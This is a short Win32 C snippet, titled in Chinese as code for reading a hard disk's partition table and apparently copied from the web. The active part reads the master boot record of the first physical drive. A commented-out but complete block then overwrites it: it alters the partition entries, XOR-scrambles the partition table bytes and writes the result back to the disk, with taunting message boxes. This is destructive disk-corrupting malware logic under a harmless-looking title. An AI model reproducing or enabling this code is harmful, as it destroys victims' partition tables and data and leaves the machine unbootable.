读取硬盘分区表信息(来源网络)

void GetDriveGeometry()

{

HANDLE hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL, OPEN_EXISTING, 0, NULL);

if (hDevice == INVALID_HANDLE_VALUE)

{

ExitProcess(0);

}

DWORD cout;

DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &cout, NULL);

DISK_GEOMETRY Getmetry;

DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &Getmetry, sizeof(Getmetry),

&cout, NULL);

LPTSTR szBuf;

szBuf = (LPTSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Getmetry.BytesPerSector);

if(szBuf == NULL)

{

ExitProcess(0);

}

DWORD bytes=512;

DWORD readsize;

BOOL m_ret;

m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);

if(m_ret==FALSE || readsize<512)

{

ExitProcess(0);

}

BYTE MBR[513]={'\0'};

for(int n=0;n<512;n++)

{

MBR[n]=szBuf[n];

}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

CloseHandle(hDevice);

//     MBR[0x1BE]=80;

//     MBR[0x1BF]=0;

//     MBR[0x1C2]=5;

//     for(int i=0x1C3;i<=0x1FE;i++)

//     {

//         MBR[i]=MBR[i]^26;

//     }

//

//     hDevice=

//         CreateFile("\\\\.\\PHYSICALDRIVE0",

//         GENERIC_READ|GENERIC_WRITE,

//         FILE_SHARE_READ|FILE_SHARE_WRITE,

//         NULL,

//         OPEN_EXISTING,

//         0,

//         NULL

//         );

//     if(hDevice==INVALID_HANDLE_VALUE)

//     {

//         MessageBox(NULL,

//             "Your luck's so good !","Man~",

//             MB_IConERROR|MB_OK);

//         ExitProcess(0);

//     }

//     DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

//

//     m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);

//     if(m_ret==FALSE||readsize<512)

//     {

//         MessageBox(NULL,

//             "Your luck's so good !","Shit",

//             MB_IConERROR|MB_OK);

//         ExitProcess(0);

//     }

//

//  DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

}